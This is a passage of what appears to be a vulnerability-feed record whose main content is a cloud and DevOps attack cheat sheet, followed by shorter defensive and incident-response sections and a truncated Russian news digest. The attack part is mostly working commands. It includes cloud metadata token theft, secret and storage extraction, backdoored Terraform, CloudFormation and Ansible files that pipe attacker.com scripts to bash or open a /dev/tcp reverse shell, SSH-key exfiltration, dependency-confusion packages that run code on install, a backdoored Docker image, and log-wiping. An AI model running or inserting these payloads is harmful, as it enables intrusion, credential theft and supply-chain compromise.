'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true\n\n# Use token to access Azure resources\nACCESS_TOKEN=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true | jq -r .access_token)\n\n# List resources\ncurl -X GET -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  https://management.azure.com/subscriptions/SUBSCRIPTION_ID/resources?api-version=2020-06-01\n```\n\n**Key Vault Access:**\n```bash\n# List secrets in key vault\naz keyvault secret list --vault-name vault-name\n\n# Get secret value\naz keyvault secret show --vault-name vault-name --name secret-name\n\n# Set secret (if permissions allow)\naz keyvault secret set --vault-name vault-name --name backdoor --value \"malicious-data\"\n```\n\n**Storage Account Exploitation:**\n```bash\n# List storage account keys\naz storage account keys list --account-name storage-name --resource-group rg-name\n\n# Access storage container\naz storage container list --account-name storage-name --account-key ACCESS_KEY\n\n# Download blob\naz storage blob download --account-name storage-name --account-key ACCESS_KEY \\\n  --container-name container-name --name blob-name --file downloaded-file\n```\n\n### **Google Cloud Platform (GCP) Security Testing**\n\n**GCP Enumeration:**\n```bash\n# List projects\ngcloud projects list\n\n# List compute instances\ngcloud compute instances list\n\n# List storage buckets\ngsutil ls\n\n# List service accounts\ngcloud iam service-accounts list\n\n# List firewall rules\ngcloud compute firewall-rules list\n```\n\n**Service Account Key Extraction:**\n```bash\n# If on GCE instance with service account\ncurl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n\n# Access token\nACCESS_TOKEN=$(curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | jq -r .access_token)\n\n# Use token to access GCP APIs\ncurl -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones\n```\n\n**Cloud Storage Bucket Enumeration:**\n```bash\n# List all buckets\ngsutil ls\n\n# List objects in bucket\ngsutil ls gs://bucket-name/\n\n# Download object\ngsutil cp gs://bucket-name/object-name .\n\n# Check bucket permissions\ngsutil iam get gs://bucket-name\n\n# Check if bucket is publicly accessible\ngsutil acl get gs://bucket-name\n```\n\n**Cloud Functions Exploitation:**\n```bash\n# List functions\ngcloud functions list\n\n# Get function details\ngcloud functions describe function-name\n\n# Deploy malicious function\ngcloud functions deploy backdoor \\\n  --runtime python37 \\\n  --trigger-http \\\n  --allow-unauthenticated \\\n  --source=./malicious-code\n```\n\n---\n\n## Infrastructure as Code (IaC) Security\n\n### **Terraform Misconfigurations**\n\n**Terraform State File Access:**\n```bash\n# If you find terraform.tfstate file\ncat terraform.tfstate | jq '.resources[] | select(.type==\"aws_instance\")'\ncat terraform.tfstate | jq '.resources[] | select(.type==\"aws_iam_user\")'\n\n# Extract sensitive data\ncat terraform.tfstate | grep -i \"password\\|secret\\|key\\|token\"\n```\n\n**Malicious Terraform Configuration:**\n```hcl\n# main.tf with backdoor\nresource \"aws_instance\" \"backdoor\" {\n  ami           = \"ami-0c55b159cbfafe1f0\"\n  instance_type = \"t2.micro\"\n  \n  user_data = <<-EOF\n              #!/bin/bash\n              curl http://attacker.com/shell.sh | bash\n              EOF\n}\n\n# Create IAM user with admin access\nresource \"aws_iam_user\" \"attacker\" {\n  name = \"attacker\"\n}\n\nresource \"aws_iam_user_policy_attachment\" \"admin\" {\n  user       = aws_iam_user.attacker.name\n  policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\n# Output credentials\noutput \"access_key\" {\n  value     = aws_iam_access_key.attacker.id\n  sensitive = false\n}\n\noutput \"secret_key\" {\n  value     = aws_iam_access_key.attacker.secret\n  sensitive = false\n}\n```\n\n### **CloudFormation Exploitation**\n\n**Malicious CloudFormation Template:**\n```yaml\nAWSTemplateFormatVersion: '2010-09-09'\nResources:\n  BackdoorInstance:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-0c55b159cbfafe1f0\n      InstanceType: t2.micro\n      UserData:\n        Fn::Base64: |\n          #!/bin/bash\n          curl http://attacker.com/shell.sh | bash\n  \n  AttackerUser:\n    Type: AWS::IAM::User\n  \n  AdminPolicy:\n    Type: AWS::IAM::Policy\n    Properties:\n      PolicyName: AdminAccess\n      PolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Users:\n        - Ref: AttackerUser\n  \n  AccessKey:\n    Type: AWS::IAM::AccessKey\n    Properties:\n      UserName: !Ref AttackerUser\n\nOutputs:\n  AccessKeyId:\n    Value: !Ref AccessKey\n  SecretAccessKey:\n    Value: !GetAtt AccessKey.SecretAccessKey\n```\n\n---\n\n## Configuration Management Security\n\n### **Ansible Security Issues**\n\n**Ansible Vault Password Extraction:**\n```bash\n# If you find ansible vault file\nansible-vault view vault.yml\n\n# Try common passwords\nfor pass in $(cat wordlist.txt); do\n  echo $pass | ansible-vault view vault.yml --vault-password-file /dev/stdin 2>/dev/null\n  if [ $? -eq 0 ]; then\n    echo \"Password found: $pass\"\n    break\n  fi\ndone\n```\n\n**Malicious Ansible Playbook:**\n```yaml\n---\n- name: Malicious Playbook\n  hosts: all\n  become: yes\n  tasks:\n    - name: Install backdoor\n      shell: |\n        curl http://attacker.com/backdoor.sh | bash\n        \n    - name: Create reverse shell\n      shell: |\n        bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n        \n    - name: Exfiltrate secrets\n      shell: |\n        cat /etc/passwd | curl -X POST --data-binary @- http://attacker.com/passwd\n        cat ~/.ssh/id_rsa | curl -X POST --data-binary @- http://attacker.com/sshkey\n```\n\n### **Puppet Security Exploitation**\n\n**Puppet Master Compromise:**\n```bash\n# If you compromise puppet master\n# List all nodes\npuppet node find --all\n\n# Deploy malicious manifest\ncat > /etc/puppetlabs/code/environments/production/manifests/backdoor.pp << 'EOF'\nnode default {\n  exec { 'backdoor':\n    command => 'curl http://attacker.com/shell.sh | bash',\n    path    => ['/bin', '/usr/bin'],\n  }\n}\nEOF\n\n# Force puppet agents to run\npuppet kick --all\n```\n\n### **Chef Security Issues**\n\n**Chef Server Exploitation:**\n```bash\n# If you compromise chef server\n# List all nodes\nknife node list\n\n# Get node details\nknife node show node-name\n\n# Upload malicious cookbook\nknife cookbook upload backdoor\n\n# Add recipe to node run list\nknife node run_list add node-name \"recipe[backdoor]\"\n```\n\n---\n\n## Network Security in DevOps\n\n### **Service Mesh Security**\n\n**Istio Security Testing:**\n```bash\n# Check Istio configuration\nkubectl get istiooperator -n istio-system\nkubectl get peerauthentication -A\nkubectl get authorizationpolicies -A\n\n# Bypass mTLS if misconfigured\ncurl -k https://service.namespace.svc.cluster.local:443\n\n# If mTLS is disabled, access services directly\ncurl http://service.namespace.svc.cluster.local:80\n```\n\n**Linkerd Security Testing:**\n```bash\n# Check Linkerd configuration\nkubectl get meshpolicies -A\nkubectl get serverauthorizations -A\n\n# Test service access\ncurl http://service.namespace.svc.cluster.local:4140\n```\n\n### **API Gateway Security**\n\n**Kong API Gateway:**\n```bash\n# Check Kong configuration\ncurl http://kong-admin:8001/\n\n# List all routes\ncurl http://kong-admin:8001/routes\n\n# Check for exposed admin interface\ncurl http://kong:8000/\n```\n\n**NGINX Ingress Controller:**\n```bash\n# Get ingress configurations\nkubectl get ingress -A\n\n# Check for misconfigurations\nkubectl get ingress -o yaml | grep -i \"host\\|path\\|service\"\n\n# Test path traversal\ncurl http://ingress/service/../../etc/passwd\n```\n\n---\n\n## Monitoring & Logging Security\n\n### **Log Injection & Evasion**\n\n**Log Injection Attacks:**\n```bash\n# Inject malicious content into logs\necho \"User logged in: admin'; DROP TABLE users; --\" >> /var/log/auth.log\n\n# Obfuscate commands in logs\n# Use encoded commands\n$(echo -n \"whoami\" | base64) | base64 -d | bash\n\n# Use character substitution\nw$(echo h)o$(echo a)m$(echo i)\n\n# Use environment variables\n${PATH:0:1}${PATH:4:1}${PATH:4:1}${PATH:11:1}\n```\n\n**Log Evasion Techniques:**\n```bash\n# Delete specific log entries\nsed -i '/ATTACKER_IP/d' /var/log/auth.log\n\n# Clear entire log\n> /var/log/auth.log\n\n# Rotate logs to hide evidence\nlogrotate -f /etc/logrotate.conf\n\n# Disable logging temporarily\nservice rsyslog stop\n```\n\n### **Monitoring System Exploitation**\n\n**Prometheus Security:**\n```bash\n# Check if Prometheus is exposed\ncurl http://prometheus:9090/\n\n# Access metrics\ncurl http://prometheus:9090/api/v1/query?query=up\n\n# If authentication is weak or missing\ncurl http://prometheus:9090/api/v1/targets\n\n# Access configuration\ncurl http://prometheus:9090/api/v1/status/config\n```\n\n**Grafana Security Testing:**\n```bash\n# Check for default credentials\ncurl -X POST http://grafana:3000/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"user\":\"admin\",\"password\":\"admin\"}'\n\n# Check for API access\ncurl http://grafana:3000/api/dashboards/db\n\n# If authenticated, create dashboard with malicious panel\ncurl -X POST http://grafana:3000/api/dashboards/db \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer \" \\\n  -d @malicious-dashboard.json\n```\n\n---\n\n## Supply Chain Security Attacks\n\n### **Dependency Confusion**\n\n**Malicious Package Upload:**\n```bash\n# Create malicious npm package\nnpm init -y\ncat > index.js << 'EOF'\nconst { exec } = require('child_process');\nexec('curl http://attacker.com/shell.sh | bash');\nEOF\n\n# Publish to public registry\nnpm publish\n\n# Wait for internal build system to download it\n```\n\n**PyPI Package Attack:**\n```python\n# setup.py with malicious code\nfrom setuptools import setup\nimport os\n\n# Execute on install\nos.system('curl http://attacker.com/shell.sh | bash')\n\nsetup(\n    name='internal-package-name',\n    version='999.0.0',  # Higher version than internal\n    packages=[],\n)\n```\n\n### **Container Image Tampering**\n\n**Malicious Docker Image:**\n```dockerfile\nFROM alpine:latest\n\n# Add backdoor\nRUN apk add --no-cache curl\nRUN curl http://attacker.com/backdoor.sh -o /backdoor.sh\nRUN chmod +x /backdoor.sh\nRUN echo \"*/5 * * * * root /backdoor.sh\" >> /etc/crontabs/root\n\n# Original application\nCOPY app /app\nCMD [\"/app/start.sh\"]\n```\n\n**Push to Container Registry:**\n```bash\n# Tag with same name as internal image\ndocker tag malicious-image registry.internal.com/app:latest\n\n# Push to registry\ndocker push registry.internal.com/app:latest\n\n# The next deployment will use the malicious image\n```\n\n---\n\n## Defense & Detection Techniques\n\n### **Security Hardening**\n\n**Container Security:**\n```bash\n# Run container with minimal privileges\ndocker run --read-only --security-opt=no-new-privileges alpine\n\n# Drop all capabilities, add only required\ndocker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx\n\n# Use seccomp profile\ndocker run --security-opt seccomp=default.json alpine\n\n# Use AppArmor profile\ndocker run --security-opt apparmor=docker-default alpine\n```\n\n**Kubernetes Security:**\n```yaml\n# Pod Security Context\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secure-pod\nspec:\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    seccompProfile:\n      type: RuntimeDefault\n  containers:\n  - name: secure-container\n    image: alpine\n    securityContext:\n      allowPrivilegeEscalation: false\n      capabilities:\n        drop:\n        - ALL\n      readOnlyRootFilesystem: true\n```\n\n**AWS Security Hardening:**\n```bash\n# Enable S3 bucket encryption\naws s3api put-bucket-encryption \\\n  --bucket bucket-name \\\n  --server-side-encryption-configuration '{\"Rules\": [{\"ApplyServerSideEncryptionByDefault\": {\"SSEAlgorithm\": \"AES256\"}}]}'\n\n# Enable S3 bucket logging\naws s3api put-bucket-logging \\\n  --bucket bucket-name \\\n  --bucket-logging-status '{\"LoggingEnabled\": {\"TargetBucket\": \"log-bucket\", \"TargetPrefix\": \"logs/\"}}'\n\n# Enable CloudTrail\naws cloudtrail create-trail \\\n  --name security-trail \\\n  --s3-bucket-name log-bucket \\\n  --is-multi-region-trail\n```\n\n### **Detection & Monitoring**\n\n**CloudTrail Monitoring:**\n```sql\n-- CloudTrail query for suspicious activities\nSELECT *\nFROM cloudtrail_logs\nWHERE eventName IN ('CreateUser', 'CreateAccessKey', 'PutRolePolicy', 'AttachUserPolicy')\n  AND userIdentity.type != 'Root'\n  AND eventTime > '2024-01-01T00:00:00Z'\n```\n\n**Kubernetes Audit Logging:**\n```yaml\napiVersion: audit.k8s.io/v1\nkind: Policy\nrules:\n  - level: Metadata\n    resources:\n      - group: \"\"\n        resources: [\"secrets\", \"configmaps\"]\n    namespaces: [\"kube-system\"]\n  - level: RequestResponse\n    resources:\n      - group: \"rbac.authorization.k8s.io\"\n        resources: [\"clusterrolebindings\", \"rolebindings\"]\n```\n\n**Container Runtime Security:**\n```bash\n# Use Falco for runtime security\nfalco -r /etc/falco/falco_rules.yaml\n\n# Monitor for suspicious activities\n- rule: Terminal shell in container\n  desc: A shell was spawned in a container\n  condition: container.id != host and proc.name = bash\n  output: \"Shell spawned in container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)\"\n  priority: WARNING\n```\n\n---\n\n## Incident Response & Forensics\n\n### **Container Forensics**\n\n**Investigate Compromised Container:**\n```bash\n# Check running containers\ndocker ps -a\n\n# Inspect container\ndocker inspect \n\n# Check container logs\ndocker logs \n\n# Copy files from container\ndocker cp :/path/to/file .\n\n# Check container processes\ndocker top \n\n# Check container network\ndocker exec  netstat -tulpn\n```\n\n**Kubernetes Incident Response:**\n```bash\n# Get all resources\nkubectl get all --all-namespaces\n\n# Check events\nkubectl get events --all-namespaces\n\n# Check pods for compromise\nkubectl describe pod  -n \n\n# Get logs\nkubectl logs  -n \n\n# Check for suspicious service accounts\nkubectl get serviceaccounts --all-namespaces\nkubectl get clusterrolebindings -o wide\n```\n\n### **Cloud Incident Response**\n\n**AWS Compromise Response:**\n```bash\n# List all IAM users and their last activity\naws iam generate-credential-report\naws iam get-credential-report\n\n# Check for unauthorized resources\naws resourcegroupstaggingapi get-resources\n\n# Check CloudTrail for suspicious activity\naws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser\n\n# Revoke compromised credentials\naws iam update-access-key --user-name compromised-user --access-key-id AKIA... --status Inactive\n```\n\n---\n\n## Quick Reference Commands\n\n### **Most Critical Commands**\n\n```bash\n# Check for misconfigured Docker\ndocker run --rm -it --privileged ubuntu bash\n\n# Check Kubernetes RBAC\nkubectl auth can-i --list\n\n# Check AWS IAM permissions\naws iam simulate-principal-policy --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/user-name --action-names \"*\"\n\n# Check Azure permissions\naz role assignment list --assignee \n\n# Check GCP permissions\ngcloud projects get-iam-policy PROJECT_ID\n```\n\n### **Detection Commands**\n\n```bash\n# Check for running containers\ndocker ps\nkubectl get pods -A\n\n# Check for exposed services\nnetstat -tulpn\nss -tulpn\n\n# Check for suspicious processes\nps aux | grep -E \"(bash|sh|python|perl|curl|wget)\"\n\n# Check for unauthorized users\ncat /etc/passwd\nawk -F: '($3 == 0) {print}' /etc/passwd\n```\n\n### **Remediation Commands**\n\n```bash\n# Stop and remove compromised container\ndocker stop  && docker rm \n\n# Delete compromised pod\nkubectl delete pod  -n \n\n# Revoke AWS credentials\naws iam update-access-key --user-name  --access-key-id  --status Inactive\n\n# Rotate all secrets\nkubectl delete secrets --all -n \n```\n\n---", "creation_timestamp": "2026-08-25T16:24:58.387730Z"}, {"uuid": "f351a82b-583b-4bd7-99c1-2b09b4fe064d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-27T12:00:12.960955Z"}, {"uuid": "7b6a3e91-dd61-4631-b468-7afd8eae9088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-28T00:00:56.880883Z"}, {"uuid": "3fb33960-3cfd-4ebd-aac2-f0c6f220ba1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-29T00:00:12.364563Z"}, {"uuid": "5ba181be-feba-40b4-a627-29720a399a69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/timcore_hacking/279", "content": "\u041e\u0431\u0437\u043e\u0440 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 4 \u043f\u043e 10 \u043c\u0430\u0440\u0442\u0430 2019 \u0433\u043e\u0434\u0430\n\n\u041a\u043e\u0440\u043e\u0442\u043a\u043e \u043e \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438.\n\n\u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u043b\u0435 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 GitHub \u0441\u0435\u0442\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Windows, Mac \u0438 Linux. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043a\u043e\u0434, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043d\u0430 \u043d\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Supreme NYC Blaze Bot, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0432\u0448\u0435\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0431\u043e\u0442\u043d\u0435\u0442.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430 \u0440\u044f\u0434 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0432 \u0412\u0435\u043d\u0435\u0441\u0443\u044d\u043b\u0435 \u0431\u044b\u043b\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u044b \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438, \u043f\u043e\u0432\u043b\u0435\u043a\u0448\u0438\u0435 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u0441\u043d\u0430\u0431\u0436\u0435\u043d\u0438\u044f. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u043d\u0438\u0439 \u043c\u0435\u0442\u0440\u043e \u0432 \u041a\u0430\u0440\u0430\u043a\u0430\u0441\u0435 \u0438 \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u0439 \u0430\u044d\u0440\u043e\u043f\u043e\u0440\u0442 \u0438\u043c\u0435\u043d\u0438 \u0421\u0438\u043c\u043e\u043d\u0430 \u0411\u043e\u043b\u0438\u0432\u0430\u0440\u0430 \u0432 \u0433\u043e\u0440\u043e\u0434\u0435 \u041c\u0430\u0439\u043a\u0435\u0442\u0438\u044f, \u043c\u0443\u043d\u0438\u0446\u0438\u043f\u0430\u043b\u0438\u0442\u0435\u0442 \u0427\u0430\u043a\u0430\u043e \u0432 \u041a\u0430\u0440\u0430\u043a\u0430\u0441\u0435, \u0433\u0434\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0445 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0440\u043e\u0433\u0438\u0435 \u0433\u043e\u0441\u0442\u0438\u043d\u0438\u0446\u044b \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0440\u0430\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0439. \u0412\u0435\u043d\u0435\u0441\u0443\u044d\u043b\u044c\u0441\u043a\u0438\u0435 \u0432\u043b\u0430\u0441\u0442\u0438 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0434\u0438\u0432\u0435\u0440\u0441\u0438\u0435\u0439, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u0440\u0430\u043c\u0430\u0445 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u043e\u0439\u043d\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Equation \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u0435\u0449\u0435 \u043e\u0434\u043d\u0438\u043c \u0431\u0430\u0433\u043e\u043c \u0432 MS Word \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446 \u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432. \u0421\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u043d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 JACKSBOT.\n\n\u0422\u043e\u0440\u0440\u0435\u043d\u0442-\u0442\u0440\u0435\u043a\u0435\u0440\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e. \u041a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0442\u043e\u0440\u0440\u0435\u043d\u0442-\u0442\u0440\u0435\u043a\u0435\u0440 The Pirate Bay \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u043b\u0430\u0442\u043d\u043e\u0433\u043e \u041f\u041e, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0436\u0435\u0440\u0442\u0432 \u0442\u0440\u043e\u044f\u043d Trojan-Downloader.Win32. PirateMatryoshka. \u0422\u0440\u043e\u044f\u043d \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u041f\u041e, \u0432\u043b\u0438\u044f\u044e\u0449\u0435\u0433\u043e \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0421\u043e\u0442\u043d\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 